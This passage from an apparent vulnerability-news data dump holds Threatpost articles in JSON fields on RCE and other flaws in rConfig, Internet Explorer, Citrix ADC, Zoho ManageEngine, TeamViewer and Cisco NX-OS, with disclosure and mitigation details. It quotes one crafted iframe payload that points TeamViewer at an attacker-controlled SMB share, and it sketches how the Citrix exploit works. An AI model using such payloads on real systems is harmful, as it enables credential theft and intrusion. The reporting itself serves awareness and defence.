instructions.![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)\n\n\u201cI was able to detect two remote command execution vulnerabilities in two different files, the first one called \u2018ajaxServerSettingsChk.php\u2019 file which suffers from an unauthenticated RCE that could triggered by sending a crafted GET request via \u2018rootUname\u2019 parameter which is declared in line,\u201d wrote Mohammad Askar, the researcher who discovered the vulnerabilities.\n\nThis flaw has the higher CVSS (v3.1) rating of 9.8 out of 10. The second bug (CVE-2019-16663) has a high CVSS (v3.1) rating of 8.8.\n\n\u201cThe second vulnerability has been discovered in a file called \u2018search.crud.php\u2019 which suffers from an authenticated RCE that could triggered by sending a crafted GET request that contains two parameters,\u201d he wrote.\n\nAskar said he reported both vulnerabilities on Sept. 19, 2019. He wrote, he did not receive a \u201cfix release date or even a statement that they will fix the vulnerability,\u201d so after 35 days \u201cwith no response\u201d he released a proof-of-concept exploit on Oct. 25.\n\nOn Nov. 4, researcher Johannes Ullrich, dean of research with the SANS Technology Institute, [reported honeypot activity tied to both vulnerabilities](<https://isc.sans.edu/forums/diary/rConfig+Install+Directory+Remote+Code+Execution+Vulnerability+Exploited/25484/>).\n\n\u201cI was somewhat surprised that I saw pretty active exploitation of the vulnerability. The exploits came from over 300 different sources at that point, and still kept coming in at a pretty steady pace,\u201d Ullrich wrote.\n\nThe researcher said the honeypot analysis suggested that traffic was not generated by security firms or researchers, rather \u201ca botnet is used to scan for the vulnerability, and the origin hosts have been infected themselves.\u201d Scanning hosts appear to be primarily based in China.\n\n\u201cIt looks like we got all the pieces in place for a major security issue,\u201d Ullrich said.\n\nAdditional research into the rConfig vulnerabilities, published on Sunday, suggest the security issues aren\u2019t limited to rConfig version 3.9.2.\n\n\u201cAfter reviewing [rConfig\u2019s source code](<https://github.com/rconfig/rconfig>), however, I found out that not only rConfig 3.9.2 has those vulnerabilities but also all versions of it,\u201d [wrote a researcher](<https://www.sudokaikan.com/2019/11/cve-2019-16662-cve-2019-16663.html>) by the name of [Sudoka](<https://twitter.com/sudo_sudoka>). \u201cFurthermore, CVE-2019-16663, the post-auth RCE can be exploited without authentication for all versions before rConfig 3.6.0.\u201d\n\nThere are steps for mitigation, however a message left on the rConfig project page is discouraging, Ullrich said. The project\u2019s main website doesn\u2019t appear to be updating and the [GitHub repository has a message:](<https://github.com/rconfig/rconfig>) \u201cI am no longer fixing bugs on rConfig version 3.x. I will manage PRs.\u201d\n\n\u201cMy advice: It doesn\u2019t look like rConfig is currently maintained (at leas the version offered for download right now). I would stay away from it,\u201d Ullrich said.\n\n_**What are the top mistakes leading to data breaches at modern enterprises? Find out: Join an expert from SpyCloud and Threatpost senior editor Tara Seals on our upcoming free **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**, \u201cTrends in Fortune 1000 Breach Exposure.\u201d **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-11-04T16:38:36", "type": "threatpost", "title": "Critical Remote Code Execution Flaw Found in Open Source rConfig Utility", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-16662", "CVE-2019-16663", "CVE-2020-5135"], "modified": "2019-11-04T16:38:36", "id": "THREATPOST:B313D27399CB1B0B0727DC338B57B95E", "href": "https://threatpost.com/critical-rce-flaw-in-rconfig/149847/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:29:35", "description": "A critical bug in a Microsoft scripting engine, under active attack, has been patched as part of Microsoft\u2019s Patch Tuesday security roundup.\n\nThe vulnerability exists in Internet Explorer and allows an attacker to execute rogue code if a victim is coaxed into visiting a malicious web page, or, if they are tricked into opening a specially crafted Office document.\n\n\u201cAn attacker who successfully exploits the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker\u2026could take control of an affected system,\u201d Microsoft [wrote in its advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1429>).\n\nUnder an Office document attack scenario, Microsoft said an adversary might embed an ActiveX control marked \u201csafe for initialization\u201d in an Office document. If initialized, the malicious document could then directed to a rogue website, booby-trapped with specially crafted content that could exploit the vulnerability. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)The bug ([CVE-2019-1429](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1429>)), first identified by Google Project Zero, is believed to be actively exploited in the wild, according to the computing giant.\n\n**November Patch Tuesday Tackles Additional Critical and Important Bugs**\n\nIn total, Microsoft issued 75 CVEs that included 11 critical and 64 important.\n\nOne of the critical bugs includes an Excel security feature bypass flaw ([CVE-2019-1457](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1457>)) which [was publicly disclosed at the end of October](<https://threatpost.com/office-for-mac-malicious-sylk-files/149823/>) and exploited as a zero-day.\n\n\u201c[This] is a security feature bypass in Microsoft Office for Mac due to improper enforcement of macro settings in Excel documents,\u201d explained Satnam Narang, senior research engineer at Tenable, in an email analysis of Patch Tuesday. \u201cAn attacker would need to create a specially crafted Excel document using the SYLK (SYmbolic LinK) file format, and convince a user to open such a file using a vulnerable version of Microsoft Office for Mac.\u201d\n\nEarlier this month, Microsoft warned that malicious SYLK files [are sneaking past endpoint defenses](<https://threatpost.com/office-for-mac-malicious-sylk-files/149823/>) even when the \u201cdisable all macros without notification\u201d function is turned on. This leaves systems vulnerable to a remote, unauthenticated attackers who can execute arbitrary code.\n\n\u201cXLM macros can be incorporated into SYLK files,\u201d wrote the [United States Computer Emergency Readiness Team](<https://kb.cert.org/vuls/id/125336/>) in a warning earlier this month. \u201cMacros in the SYLK format are problematic in that Microsoft Office does not open in Protected View to help protect users.\u201d\n\n**Microsoft Trusted Platform Module Guidance and Housecleaning**\n\nThe Patch Tuesday advisories also included non-CVE updates such as [one regarding a vulnerability in Trusted Platform Module](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190024>) (TPM) chipset. The TPM vulnerability is a third-party bug not connected to the Windows operating system.\n\n\u201cCurrently no Windows systems use the vulnerable algorithm. Other software or services you are running might use this algorithm. Therefore if your system is affected [it] requires the installation of TPM firmware updates,\u201d wrote Microsoft in its advisory, [ADV190024](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190024>).\n\nThe vulnerability weakens key confidentiality protection for the Elliptic Curve Digital Signature Algorithm or ECDSA. The technology is used for a variety of [different applications such as a Bitcoin-related](<https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm>) app where it is leveraged to ensure that funds can only be [spent by their rightful owners](<https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm>).\n\nChris Goettl, researcher with Ivanti, said this November Patch Tuesday should also serve as a reminder to a number of key Windows end-of-life dates.\n\n\u201cThere are some Windows end-of-life dates that users should be aware of both this month and coming in January,\u201d Goettl wrote. He added there are \u201csome additional details on extended support for Windows 7 and Server 2008\\2008 R2 from a [blog post in November](<https://techcommunity.microsoft.com/t5/Windows-IT-Pro-Blog/How-to-get-Extended-Security-Updates-for-eligible-Windows/ba-p/917807>) that discuss how to get access and ensure your systems are prepared for extended support if you are continuing on.\u201d\n\n**_What are the top risks to modern enterprises in the peak era of data breaches? Find out: Join breach expert Chip Witt from SpyCloud and Threatpost senior editor Tara Seals, in our upcoming free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_, \u201cTrends in Fortune 1000 Breach Exposure.\u201d _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-11-12T21:35:20", "type": "threatpost", "title": "Microsoft Patches RCE Bug Actively Under Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-1429", "CVE-2019-1457", "CVE-2020-5135"], "modified": "2019-11-12T21:35:20", "id": "THREATPOST:5293ED4A454EC6487F8AA9DB9A0FF180", "href": "https://threatpost.com/microsoft-patches-rce-bug/150136/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:26:26", "description": "Proof-of-concept (PoC) exploit code has been released for an unpatched remote-code-execution vulnerability in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products.\n\nThe vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)), which Threatpost [reported on in December,](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) already packs a double-punch in terms of severity: Researchers say it is extremely easy to exploit, and affects all supported versions of Citrix Gateway products and Citrix ADC, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web.\n\n\u201cThe vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the system,\u201d said Qualys [researchers in an analysis last week](<https://blog.qualys.com/laws-of-vulnerabilities/2020/01/08/citrix-adc-and-gateway-remote-code-execution-vulnerability-cve-2019-19781>). \u201cOnce exploited, remote attackers could obtain access to private network resources without requiring authentication.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nA patch will not be available until late January, Citrix [has announced](<https://support.citrix.com/article/CTX267027>). That leaves various systems worldwide open to the flaw \u2014 and now, with PoC exploits available on GitHub, researchers expect exploit attempts to skyrocket.\n\n## Exploit PoC Code\n\nOver three weeks after CVE-2019-19781 was first [disclosed (on Dec. 17)](<https://support.citrix.com/article/CTX267027>), this past weekend PoC exploit code for [was released Friday by](<https://github.com/projectzeroindia/CVE-2019-19781>) \u201cProject Zero India,\u201d which describe themselves as \u201ca group of security researchers from India, inspired by Google\u2019s Project Zero.\u201d\n\nThe PoC exploit consists of two curl commands: One to write a template file which would include a user\u2019s shell command, and the second request to download the result of the command execution.\n\nAfter Project Zero India released its exploit, another PoC exploit was released by[ security research group TrustedSec.](<https://github.com/trustedsec/cve-2019-19781/>) This PoC was similar to the first, except it was written in Python and established a reverse shell.\n\nSecurity expert Kevin Beaumont, who dubbed the vulnerability \u201cShitrix,\u201d said on Twitter that the exploit PoC code means \u201cthis is going to get very messy.\u201d\n\nhttps://twitter.com/GossiTheDog/status/1215782882540695552\n\nIn addition, researchers have also[ released scanners](<https://github.com/trustedsec/cve-2019-19781>) and [honeypots](<https://github.com/MalwareTech/CitrixHoneypot>) to see if various servers are vulnerable to CVE-2019-19881.\n\n## The Flaw\n\nCitrix did not disclose many details about the vulnerability [in its security advisory](<https://support.citrix.com/article/CTX267027>), however, Qualys researchers said that the mitigation steps offered by Citrix suggest the flaw stems from the VPN handler failing to sufficiently sanitize user-supplied inputs.\n\n\u201cThe exploit attempt would include HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL. The responder policy rule checks for string \u201c/vpns/\u201d and if user is connected to the SSLVPN, and sends a 403 response,\u201d according to Qualys researchers.\n\nAccording to the Bad Packets Report, over 25,000 servers globally \u2014 with the most in the U.S., Germany and the UK \u2013 are vulnerable to CVE-2019-19781.\n\nhttps://twitter.com/bad_packets/status/1216635462011351040\n\nAffected by the vulnerability are: Citrix ADC and Citrix Gateway version 13.0 all supported builds, Citrix ADC and NetScaler Gateway version 12.1 all supported builds, Citrix ADC and NetScaler Gateway version 12.0 all supported builds, Citrix ADC and NetScaler Gateway version 11.1 all supported builds and Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds.\n\n## Mitigations\n\n\u201cCitrix expects to have firmware updates in the form of refresh builds to be available across all supported versions of Citrix ADC and Citrix Gateway before the end of January 2020,\u201d according to the Citrix security advisory.\n\nA patch will be released on Jan. 20 for Citrix ADC versions 11/12 and 13, while a patch for version 10 will be released Jan. 31, according to Citrix.\n\nIn the meantime, Citrix has released [mitigation steps](<https://support.citrix.com/article/CTX267679>) for CVE-2019-19781. Researchers are also urging customers to check their systems for exploit attempts using \u201cgrep\u201d for requests that contain \u201cvpns\u201d and \u201c..\u201d.\n\nSecurity experts like Dave Kennedy [took to Twitter](<https://twitter.com/HackingDave/status/1215800253246513155?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1215800253246513155&ref_url=https%3A%2F%2Fwww.zdnet.com%2Farticle%2Fproof-of-concept-code-published-for-citrix-bug-as-attacks-intensify%2F>) meanwhile to warn customers to apply mitigations until a patch is available.\n\n> Can\u2019t emphasize enough \u2013 please please please do the mitigation steps for the Citrix exploit as soon as possible. \n> \n> This is going to be a really bad one folks. \n> \n> Easy to automate and exploit and is widely used across the Internet.\n> \n> Mitigation here: <https://t.co/jeF0UC6A9V>\n> \n> \u2014 Dave Kennedy (ReL1K) (@HackingDave) [January 11, 2020](<https://twitter.com/HackingDave/status/1215800253246513155?ref_src=twsrc%5Etfw>)\n\nMikhail Klyuchnikov of Positive Technologies, Gianlorenzo Cipparrone and Miguel Gonzalez of Paddy Power Betfair plc were credited with finding the flaw.\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._**_** **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-13T15:32:42", "type": "threatpost", "title": "Unpatched Citrix Flaw Now Has PoC Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2019-19881", "CVE-2020-5135"], "modified": "2020-01-13T15:32:42", "id": "THREATPOST:99610F4016AECF953EEE643779490F30", "href": "https://threatpost.com/unpatched-citrix-flaw-exploits/151748/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:27:50", "description": "UPDATE\n\nA zero-day vulnerability has been disclosed in the IT help desk ManageEngine software made by Zoho Corp. The serious vulnerability enables an unauthenticated, remote attacker to launch attacks on affected systems. Zoho has now [released a security update](<https://www.us-cert.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central>) addressing the vulnerability.\n\nAs of Monday, March 9, the vulnerability has been observed being actively exploited in the wild, according to a [Center for Internet Security advisory](<https://www.cisecurity.org/advisory/a-vulnerability-in-manageengine-desktop-central-could-allow-for-remote-code-execution_2020-033/>).\n\nThe vulnerability, [first reported by ZDNet](<https://www.zdnet.com/article/zoho-zero-day-published-on-twitter/#ftag=RSSbaffb68>), exists in Zoho ManageEngine Desktop Central, an endpoint management tool to help users manage their servers, laptops, smartphones, and more from a central location. Steven Seeley of Source Incite, [disclosed the flaw](<https://srcincite.io/advisories/src-2020-0011/>) on Twitter, Thursday, along with a proof of concept (PoC) exploit. According to ZDNet, the enterprise software development company will release a patch for the flaw on Friday.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis vulnerability allows remote attackers to execute arbitrary code on affected installations of ManageEngine Desktop Central. Authentication is not required to exploit this vulnerability,\u201d according to Seeley.\n\nAccording to Seeley, the specific flaw exists within the FileStorage class of the Desktop Central. The FileStorage class is used to store data for reading data to or from a file. The issue results from improper validation of user-supplied data, which can result in deserialization of untrusted data.\n\nSeeley told Threatpost, attacker can leverage this vulnerability to execute code under the context of SYSTEM, giving them \u201cfull control of the target machine\u2026 basically the worst it gets.\u201d\n\n> Since [@zoho](<https://twitter.com/zoho?ref_src=twsrc%5Etfw>) typically ignores researchers, I figured it was OK to share a ManageEngine Desktop Central zero-day exploit with everyone. UnCVE'ed, unpatched and unauthenticated RCE as SYSTEM/root. Enjoy!\n> \n> Advisory: <https://t.co/U9LZPp4l5o> \nExploit: <https://t.co/LtR75bhooy>\n> \n> \u2014 \u03fb\u0433_\u03fb\u03b5 (@steventseeley) [March 5, 2020](<https://twitter.com/steventseeley/status/1235635108498948096?ref_src=twsrc%5Etfw>)\n\nAccording to Seeley, who also posted a [PoC attack for the flaw on Twitter](<https://srcincite.io/pocs/src-2020-0011.py.txt>), the vulnerability ranks 9.8 out of 10.0 on the CVSS scale, making it critical in severity. Nate Warfield, a security researcher with Microsoft, pointed to[ at least 2,300](<https://twitter.com/n0x08/status/1235637306838532096>) Zoho systems potentially exposed online.\n\nRick Holland, CISO and vice president of strategy at Digital Shadows, said if an attacker can compromise a solution like ManageEngine, they have an \u201copen season\u201d on a target company\u2019s environment.\n\n\u201cAn attacker has a myriad of options not limited to: accelerating reconnaissance of the target environment, deploying their malware including ransomware, or even remotely monitor users\u2019 machines,\u201d Holland told Threatpost. \u201cGiven that this vulnerability enables unauthenticated remote execution of code, it is even more vital that companies deploy a patch as soon as it becomes available. Internet-facing deployments of Desktop Central should be taken offline immediately.\u201d\n\nThreatpost has reached out to Zoho via email and Twitter for further comment; the company has not yet responded. However Zoho said on Twitter, \u201cwe have identified the issue and are working on a patch with top priority. We will update once it is done.\u201d\n\n> We have identified the issue and are working on a patch with top priority. We will update once it is done. ^BG\n> \n> \u2014 Zoho (@zoho) [March 6, 2020](<https://twitter.com/zoho/status/1235811733194682368?ref_src=twsrc%5Etfw>)\n\nSeeley told Threatpost that he didn\u2019t contact Zoho before disclosing the vulnerability due to negative previous experiences with the company regarding vulnerability disclosure. \u201cI have in the past for other critical vulnerabilities and they ignored me,\u201d he said.\n\nThis lack of responsible disclosure has drawn mixed opinions from security experts. Some, like Rui Lopes, engineering and technical support director at Panda Security, told Threatpost that the incident could leave vulnerable systems open to bad actors.\n\n\u201cThere seems to be some breakdown of communication between independent researchers and the solution vendors who offer centralized IT management platforms, which inevitably leads to inefficient patching protocols and the exposure of sensitive information that arms bad actors with threat vectors that would be otherwise unknown.\u201d\n\nTim Wade, technical director of the CTO Team at Vectra, told Threatpost that the incident highlights the need for better relationships between security researchers and organizations.\n\n\u201cAllegedly, Zoho\u2019s reputation for ignoring security researchers who\u2019ve found exploitable bugs in their products factored into the decision for a direct release,\u201d he said. \u201cWhile the merits of this decision may be discussed fairly from multiple perspectives, at a minimum it underscores the need for software organizations to foster better relationships with the security community, and the seriousness of failing to do so.\u201d\n\nResearchers previously found multiple critical flaws in 2018 in Zoho\u2019s [ManageEngine software](<https://threatpost.com/multiple-critical-flaws-found-in-zohos-manageengine/129709/>). In all, seven vulnerabilities were discovered, each allowing an attacker to ultimately take control of host servers running ManageEngine\u2019s SaaS suite of applications. Also previously a massive number of [keylogger phishing campaigns](<https://threatpost.com/keyloggers-turn-to-zoho-office-suite-in-droves-for-data-exfiltration/137868/>) were seen tied to the Zoho online office suite software; in an analysis, a full 40 percent spotted in October 2018 used a zoho.com or zoho.eu email address to exfiltrate data from victim machines.\n\n_This article was updated Friday at 4:36 pm to reflect that Zoho has released a patch; and on Monday at 4pm to reflect that the flaw is now being actively exploited in the wild._\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-06T16:53:00", "type": "threatpost", "title": "Critical Zoho Zero-Day Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-10189", "CVE-2020-1472", "CVE-2020-5135"], "modified": "2020-03-06T16:53:00", "id": "THREATPOST:199785A97C530FECDF2B53B871FBE1C2", "href": "https://threatpost.com/critical-zoho-zero-day-flaw-disclosed/153484/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:15:33", "description": "Popular remote-support software TeamViewer has patched a high-severity flaw in its desktop app for Windows. If exploited, the flaw could allow remote, unauthenticated attackers to execute code on users\u2019 systems or crack their TeamViewer passwords.\n\nTeamViewer is a proprietary software application used by businesses for remote-control functionalities, desktop sharing, online meetings, web conferencing and file transfer between computers. The recently discovered flaw stems from the Desktop for Windows app ([CVE-2020-13699](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13699>)) not properly quoting its custom uniform resource identifier (URI) handlers.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)Apps need to identify the URIs for the websites they will handle. But because handler applications can receive data from untrusted sources, the URI values passed to the application may contain malicious data that attempts to exploit the app. In this specific case, values are not \u201cquoted\u201d by the app \u2013 meaning that TeamViewer will treat them as commands rather than as input values.\n\n\u201cAn attacker could embed a malicious iframe in a website with a crafted URL (<iframe src=\u2019teamviewer10: \u2013play \\\\\\attacker-IP\\share\\fake.tvs\u2019>) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,\u201d according [to an advisory](<https://jeffs.sh/CVEs/CVE-2020-13699.txt>) by Jeffrey Hofmann, security engineer at Praetorian, who disclosed the flaw.\n\nTo initiate the attack, the attacker could simply persuade a victim with TeamViewer installed on their system to click on crafted URL in a website \u2013 an opportunity for attackers to potentially [launch watering-hole attacks](<https://threatpost.com/watering-holes-asian-ethnic-flash-update-decoy/154323/>).\n\nThe URI will then trick the app into creating a connection with attacker-controlled remote Server Message Block (SMB) protocol. SMB is a network protocol used by Windows-based computers that allows systems within the same network to share files.\n\nAfter a victim\u2019s TeamViewer app initiates the remote SMB share, Windows will then make the connection using NT LAN Manager (NTLM). NTLM uses an encrypted protocol to authenticate a user without transferring the user\u2019s password. NTLM credentials are based on data obtained during the interactive logon process and consist of a domain name, a user name, and a one-way hash of the user\u2019s password.\n\nIn this attack scenario, the NTLM request can then be relayed by attackers using a tool like Responder, according to Hofmann. The Responder toolkit captures SMB authentication sessions on an internal network, and relays them to a target machine. This ultimately grants attackers access to the victim\u2019s machine, automatically. It also allows them to capture password hashes, which they can then crack via brute-force.\n\nFortunately for users, while the potential impact of this vulnerability is high, \u201cthe practical impact is low,\u201d Hofmann explained to Threatpost in an email. \u201cSuccessfully performing the attack is difficult and requires user interaction. There are a lot of prerequisites to exploit the vulnerability successfully. Every modern browser except for Firefox URL encodes spaces when handing off to URI handlers which effectively prevents this attack.\u201d\n\nThe flaw ranks 8.8 out of 10.0 on the CVSS scale, making it high severity. TeamViewer versions prior to 15.8.3 are vulnerable, and the bug affects various versions of TeamViewer, including: teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1 and tvvpn1.\n\nThe issue is fixed in 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and 15.8.3, said researchers.\n\nIn order to patch the flaw, \u201cWe implemented some improvements in URI handling relating to CVE 2020-13699,\u201d according to TeamViewer in a [statement sent to Threatpost](<https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448>). \u201cThank you, Jeffrey Hofmann with Praetorian, for your professionalism and following a responsible disclosure model. We are grateful that you reached out to us and that you could confirm the fix of your findings in the latest release.\u201d\n\nIn a [security advisory regarding the flaw](<https://www.cisecurity.org/advisory/a-vulnerability-in-teamviewer-cloud-allow-for-offline-password-cracking_2020-106/>), the Center for Internet Security (CIS) recommended that TeamViewer users apply the appropriate patches. They also recommended that users avoid untrusted websites or links provided by unknown sources, and \u201ceducate users regarding threats posed by hypertext links contained in emails or attachments, especially from untrusted sources.\u201d\n\nTeamViewer\u2019s remote control functionalities make it a lucrative attack target for bad actors \u2013 especially with more enterprises turning to [collaboration apps like TeamViewer](<https://threatpost.com/beyond-zoom-safe-slack-collaboration-apps/154446/>) during the pandemic. In 2019, a targeted, email-borne attack against embassy officials and government finance authorities globally [weaponized TeamViewer](<https://threatpost.com/teamviewer-attacks-state-department/144014/>) to gain full control of the infected computer. And earlier in 2020, [a newly discovered variant](<https://threatpost.com/cerberus-trojan-major-spyware-targeted-attack/155415/>) of the Cerberus Android trojan was discovered with vastly expanded and more sophisticated info-harvesting capabilities, and the ability to run TeamViewer.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-10T15:56:13", "type": "threatpost", "title": "TeamViewer Flaw in Windows App Allows Password-Cracking", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-13699", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-08-10T15:56:13", "id": "THREATPOST:5C0EFAEECFC2925A0D89538F79EE561A", "href": "https://threatpost.com/teamviewer-fhigh-severity-flaw-windows-app/158204/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:19:01", "description": "Cisco has patched a high-severity flaw in its NX-OS software, the network operating system used by Cisco\u2019s Nexus-series Ethernet switches.\n\nIf exploited, the vulnerability could allow an unauthenticated, remote attacker to bypass the input access control lists (ACLs) configured on affected Nexus switches \u2013 and launch a denial of service (DoS) attacks on the devices.\n\n\u201cA successful exploit could cause the affected device to unexpectedly decapsulate the IP-in-IP packet and forward the inner IP packet,\u201d according to Cisco\u2019s security advisory, [published on Monday](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>). \u201cThis may result in IP packets bypassing input ACLs configured on the affected device or other security boundaries defined elsewhere in the network.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE-2020-10136](<https://nvd.nist.gov/vuln/detail/CVE-2020-10136>)) stems from the network stack of Cisco\u2019s NX-OS software. Specifically, it exists in a tunneling protocol called IP-in-IP encapsulation. This protocol allows IP packets to be encapsulated inside another IP packet. The IP-in-IP protocol on the affected software were accepting IP-in-IP packets from any source \u2014 to any destination \u2014 without explicit configuration between the specified source and destination IP addresses.\n\nAn attacker could exploit this issue by sending a crafted IP-in-IP packet to an affected device. Cisco said that under \u201ccertain conditions,\u201d the crafted packets could cause the network stack process to crash and restart multiple times \u2014 ultimately leading to DoS for affected devices.\n\nSpecifically impacted by the flaw are the Nexus 1000, 3000, 5500, 5600, 6000, 7000 and 9000 series, as well as Cisco Unified Computing System (UCS) 6200 and 06300 Series Fabric Interconnects (see a full list of affected models below). Users can also check whether their version of Cisco NX-OS is impacted using a [checking tool available on Cisco\u2019s advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ipip-dos-kCT9X4>).\n\n[![Cisco nexus switch flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw-1024x494.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/02110207/cisco-flaw.png>)\n\nUsers can update to the latest patch, and, \u201cif a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature,\u201d according to a [Tuesday CERT Coordination Center notice](<https://kb.cert.org/vuls/id/636397>). \u201cDevice manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.\u201d\n\nProof-of-concept (PoC) exploit code was released for the bug by [Yannay Livneh](<https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-10136>), who had also discovered the flaw.\n\n\u201cYou can use this code to verify if your device supports default IP-in-IP encapsulation from arbitrary sources to arbitrary destinations,\u201d said Livneh on GitHub. \u201cThe intended use of this code requires at least two more devices with distinct IP addresses for these two devices.\u201d\n\nCisco said it is \u201cnot aware of any public announcements or malicious use of the vulnerability.\u201d The vulnerability ranks 8.6 out of 10 on the CVSS scale, making it high severity.\n\nThe flaw [comes a week after Cisco announced](<https://threatpost.com/hackers-compromise-cisco-servers-saltstack/156091/>) that attackers were able to compromise its servers, after exploiting two known, critical[ SaltStack vulnerabilities](<https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/>). The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On _**[**_June 3 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_, join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, _**[**_Taming the Unmanaged and IoT Device Tsunami_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_. Get exclusive insights on how to manage this new and growing attack surface. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>)**_ for this sponsored webinar._**\n", "cvss3": 